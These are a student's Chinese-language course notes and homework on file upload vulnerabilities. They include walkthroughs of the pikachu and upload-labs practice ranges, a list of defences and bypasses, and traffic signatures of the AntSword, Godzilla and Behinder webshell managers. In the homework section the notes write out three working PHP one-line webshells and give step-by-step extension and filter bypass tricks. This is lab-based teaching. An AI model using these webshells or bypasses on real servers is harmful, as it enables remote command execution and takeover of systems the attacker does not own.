文章目录
一.课堂笔记
1.文件上传漏洞:指的是攻击者利用Web应用程序中的文件上传功能,上传包含恶意代码的文件到服务器上,并执行这些文件以获取服务器权限或执行其他恶意操作的一种攻击方式。
2.文件上传常见思路
- 后台用户头像上传
- 供应商注册资质上传
- doc/docx等文件上传
- editor类上传
- 上传接口未授权上传
- 第三方组件/应用造成的上传
- 非业务接口上传
3.一句话木马
非常简短的PHP代码,当作为WebShell被上传到服务器后,能够允许攻击者远程执行命令
二.课堂跟练
1.pilachu靶场
直接Burp Suite抓包修改后缀名然后放行
上传成功
Burp Suite抓包修改type然后放行
上传成功
将木马php和普通图片合成,然后上传
上传成功
2.upload-labs靶场1-5
(1)第一关
上传前改为png格式,然后拦截改为php
成功注入
(2)第二关
通过更改type完成上传
(3)第三关
查看源代码发现不过滤php3,php5等后缀
于是更改文件后缀然后上传
上传成功
(4)第四关
编写一个.htaccess目的是把上传的其他文件类型转为php
先上传.htaccess然后再将php改为txt上传
上传成功
(5)第五关
发现过滤了.htaccess但是没有过滤.ini
先上传.ini
然后再上传,成功
三.作业
1.文件上传防御手段及绕过手段总结
(1)文件上传防御手段
- 文件类型限制:限制上传文件的扩展名,如只允许上传.jpg、.png等图片格式
- 文件大小限制:设置文件大小上限,可以防止大型木马
- 文件内容过滤:对上传文件的内容进行过滤,如果有识别危险代码就进行替换
- 文件执行权限限制:使文件没有执行权限,防止它执行恶意代码
- 文件存储路径限制:限制文件存储路径,防止上传文件写入敏感目录
- 文件名处理:对上传文件的文件名进行编码或修改,避免利用文件名进行攻击
(2)文件上传绕过手段
- 文件扩展名篡改:通过修改文件扩展名来绕过文件类型限制
- 文件内容篡改:修改文件内容,使包含恶意代码的文件看起来是合法的文件
- 文件名编码:使用URL、Base64等对文件名进行编码,绕过文件名检查
- 利用服务器漏洞:利用服务器端的漏洞,如目录遍历、文件包含等,上传恶意文件
- 利用过滤机制:找到上传时的过滤条件,利用没被限制的函数或者配置文件进行上传
2. 文件上传常用一句话木马
<?php @eval ($ POST['cmd']);?>
这个木马汇总当用户提交名为cmd的POST变量时执行其攻击内容
<?php assert($ POST['cmd']);?>
PHP的内置函数assert()。assert()函数用于检查一个表达式是否为真。如果表达式为真,assert()函数什么都不会做。但如果表达式为假,assert()会抛出一个致命错误(致命异常),并终止脚本的执行
<?php@ini_set('opcache.enable',0);@ini_set('opcache.enable_cli',1);@eval($_POST['cmd']);?>
这段代码首先关闭了opcache,然后允许通过命令行执行PHP代码。
3. 三种webshell管理工具的使用方法
(1)蚁剑
配置代理,然后添加目标URL(拼接好的)
连接成功后可以通过蚁剑查看文件等
用Burp Suite抓包
- 流量特征:每个请求体都以@ini_set(“display_errors”,“0”);@set_time_limit(0);开头;
有base64编码解码等字符特征
(2)哥斯拉
哥斯拉可以直接生成一句话木马,生成后上传
上传后得到拼接URL,再到“目标”->“添加”去添加到哥斯拉里面
连接成功后用Burp Suite抓包
- 流量特征: 建立连接会发起三次请求;Cookie最后会有个分号
(3)冰蝎
冰蝎有自己生成好的php文件,直接将其上传得到拼接的URL。
配置好代理后新增shell输入相应的URL和密码
连接成功后可以查看基本信息和管理文件等
连接成功后用Burp Suite抓包
- 流量特征:
Accept字段(弱特征),通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向application/json 和 text/javascript;
使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection:Keep-Alive;
可以得到phpsessid
4. 文件上传无回显如何查找webshell地址
(1)在文件系统搜索:因为Webshell通常以.php等后缀名存在,所以我们可以搜索相应后缀名的文件
(2)审查上传逻辑:我们还查看后端处理文件上传的脚本,去分析其文件保存路径和文件名生成逻辑,然后预测可能存放Webshell的位置
(3)查看网络流量:可以使用Wireshark等工具捕获和分析网络流量,查找可疑的HTTP请求,因为这些请求可能会尝试访问Webshell,找到可以的请求后再相应去查找webshell地址
(4)查看Web服务器的根目录:Webshell可能会上传到服务器的根目录或其他可访问的目录,所以我们可以去根目录查找
5. 文件上传表单的无参/有参情况下构造表单
无参情况下,表单的提交不依赖于URL中的参数,这种情况下,表单只包含文件上传,不附带其他数据。
有参情况下,表单的提交可能依赖于URL参数,可能需要传递一些额外的数据来指示处理文件上传的逻辑,我们可以在表单中加入更多的 元素来完成
6.upload-labs靶场通关第6-第10关
(6)第六关
查看源代码发现没有大小写限制
直接将后缀改为大写
上传成功
但是打开图片会报错500
于是尝试混合注入
上传成功后可以正常打开
(7)第七关
查看源代码发现没有首位去空格的限制
于是用Burp Suite抓包在php后缀增加一个空格
放行后注入成功
新建页面打开图片得到URL,将其添加到冰蝎
在冰蝎打开可以查看php信息
(8)第八关
查看源代码发现没有过滤文件后的点
于是用Burp Suite抓包在php后缀增加一个.
放行后注入成功
右键新建页面打开即可看到php内容
(9)第九关
查看源代码发现没有过滤::$DATA
于是用Burp Suite抓包在php后缀增加一个::$DATA
放行后上传成功
右键新建页面打开即可看到php内容
(10)第十关
查看源代码发现.空格大小写等均被过滤
于是尝试混合注入,用Burp Suite抓包在php后缀增加多个. . .
放行后上传成功
右键新建页面打开即可看到php内容